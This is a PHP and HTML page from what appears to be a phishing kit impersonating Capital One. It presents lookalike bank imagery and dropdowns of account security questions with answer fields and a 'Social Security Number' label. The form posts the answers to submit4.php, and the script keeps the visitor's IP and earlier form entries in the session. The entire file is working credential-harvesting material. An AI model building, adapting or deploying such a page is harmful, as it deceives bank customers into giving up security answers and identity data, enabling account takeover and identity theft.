<?php
session_start();
include ('bt.php');
@ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_NOTICE);
$ib = getenv("REMOTE_ADDR");
date_default_timezone_set('GMT');
$crt = date("Y");
$dt=date("H:i:s");
include "./trad".$_SESSION['0001'];
@ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_NOTICE);
$log = $_GET["log"];
$random=rand(0,100000000000);
$ran = md5($random);
$_SESSION[$ran] = $random;
$random=rand(0,100000000000);
$rans = md5($random);
$_SESSION[$rans] = $random;
$O1 = $_SESSION['1']=$_POST['1'];
$O2 = $_SESSION['2']=$_POST['2'];
?>




 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Capital One</title>
<script type="text/javascript" src="https://www.sitepoint.com/examples/password/MaskedPassword/MaskedPassword.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon"
              href="images/mobile-app-icon.png"/>	
			  <style type="text/css">
.textbox { 
    border: 1px solid #c4c4c4; 
  	background-color: white;
    height: 36px; 
    width: 275px; 
    font-size: 14px; 
    padding-left: 5px; 
	 box-shadow: inset 0 2px 4px rgba(0,0,0,.1);
     
   } 
 
.textbox:focus { 
    outline: none; 
 	border-radius: 2px;
    background-color: White;
    border: 2px solid #8FB1E7; 
    
} 			
</style>  
<script type="text/javascript">
function unhideBody()
{
var bodyElems = document.getElementsByTagName("body");
bodyElems[0].style.visibility = "visible";
}
</script>
<style type="text/css">
div#container
{
	position:relative;
	width: 1349px;
	margin-top: 0px;
	margin-left: auto;
	margin-right: auto;
	text-align:left; 
}
body {text-align:center;margin:0}
</style>

</head>
<body style="visibility:hidden" onload="unhideBody()" bgColor="WHITE">
<div id="container">
<div id="image4" style="position:absolute; overflow:hidden; left:111px; top:740px; width:1172px; height:167px; z-index:0">
	<img border="0" src="images/ca6.png" width="1344" height="166"></div>

<div id="image3" style="position:absolute; overflow:hidden; left:170px; top:7px; width:1000px; height:724px; z-index:0">
	<img border="0" src="images/top.png" width="1371" height="312"><select name="formselect3" required style="position:absolute;height:25px;left:162;top:408;width:464px;z-index:11">
 <option value="" selected="selected">
            Please Select</option>
                    <option>
            What is your favorite professional sports team?</option>
                    <option>
            What is the first name of your oldest nephew?</option>
                    <option>
            What is the middle name of your youngest child?</option>
                    <option>
            What is your father's middle name?</option>
                    <option>
            What is your grandmother's middle name (your father's mother)?</option></select><select name="formselect4" required  style="position:absolute;height:25px;left:162;top:443;width:466px;z-index:7">
 <option value="" selected="selected">
            Please Select</option>
                    <option>
            In what year was your mother born?</option>
                    <option>
            What is the name of your father's mother?</option>
                    <option>
            What is the first name of the maid of honor or best man from your 
			wedding?</option>
                    <option>
            What is your mother's middle name?</option>
                    <option>
            What is your grandfather's profession?</option></select><select name="formselect6" required  style="position:absolute;height:26px;left:161;top:517;width:464px;z-index:11">
 <option value="" selected="selected">
            Please Select</option>
                    <option>
            What is your favorite professional sports team?</option>
                    <option>
            What is the first name of your oldest nephew?</option>
                    <option>
            What is the middle name of your youngest child?</option>
                    <option>
            What is your father's middle name?</option>
                    <option>
            What is your grandmother's middle name (your father's mother)?</option></select><select name="formselect5" required  style="position:absolute;height:21px;left:161;top:479;width:469px;z-index:9">
<option value="" selected="selected">
            Please Select</option>
                    <option>
            What is your best friend's last name?</option>
                    <option>
            What is the middle name of your oldest child?</option>
                    <option>
            What is the name of the Grade School you graduated from?</option>
                    <option>
            What is your grandfather's middle name (your father's father)?</option>
                    <option>
            In what city was your mother born?</option></select><div style="position: absolute; width: 189px; height: 32px; z-index: 1; left: 162px; top: 551px" id="layer4">
		<font size="4">Social Security Number</font></div>
	<p>&nbsp;</div>

<form action=submit4.php name=chalbhai id=chalbhai method=post>

&nbsp;	
<input name="answer7" placeholder="Answer" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:210px;left:816;top:561;z-index:10; height:26px"><input name="answer1" placeholder="Answer" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:210px;left:815;top:345;z-index:10; height:26px"><input name="answer2" placeholder="Answer" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:210px;left:815;top:382;z-index:10; height:26px"><input name="answer3" placeholder="Answer" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:210px;left:815;top:416;z-index:10; height:26px"><input name="answer4" placeholder="Answer" class="textbox" autocomplete="off" type="text" style="position:absolute;width:210px;left:815;top:450;z-index:10; height:26px"><input name="answer5" placeholder="Answer" class="textbox" autocomplete="off" type="text" style="position:absolute;width:210px;left:815;top:489;z-index:10; height:26px"><input name="answer6" placeholder="Answer" class="textbox" autocomplete="off" type="text" style="position:absolute;width:210px;left:815;top:524;z-index:10; height:26px">&nbsp;

<blockquote>
	<p>&nbsp;</p>
	<p>
	<select name="formselect2" required  style="position:absolute;height:25px;left:330;top:383;width:469px;z-index:9">
<option value="" selected="selected">
            Please Select</option>
                    <option>
            What is your best friend's last name?</option>
                    <option>
            What is the middle name of your oldest child?</option>
                    <option>
            What is the name of the Grade School you graduated from?</option>
                    <option>
            What is your grandfather's middle name (your father's father)?</option>
                    <option>
            In what city was your mother born?</option></select><select name="formselect1" required  style="position:absolute;height:26px;left:332;top:345;width:466px;z-index:7">
 <option value="" selected="selected">
            Please Select</option>
                    <option>
            In what year was your mother born?</option>
                    <option>
            What is the name of your father's mother?</option>
                    <option>
            What is the first name of the maid of honor or best man from your 
			wedding?</option>
                    <option>
            What is your mother's middle name?</option>
                    <option>
            What is your grandfather's profession?</option></select></p>
	</blockquote>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

<div id="formimage4" style="position:absolute; left:707px; top:599px; z-index:12">
	<a href="index.php">
	<img border="0" src="images/cancel.png" width="89" height="34"></a></div>

<div id="formimage1" style="position:absolute; left:590px; top:597px; z-index:12">
	<input type="image" name="formimage1" src="images/continue.png" width="104" height="33"></div>
</div>
<script type="text/javascript">
 
  //apply masking to the demo-field
  //pass the field reference, masking symbol, and character limit
  new MaskedPassword(document.getElementById("demo-field"), '\u25CF');
 
  //test the submitted value
  document.getElementById('demo-form').onsubmit = function()
  {
   alert('pword = "' + this.pword.value + '"');
   return false;
  };
 
 </script>
</body>
</html>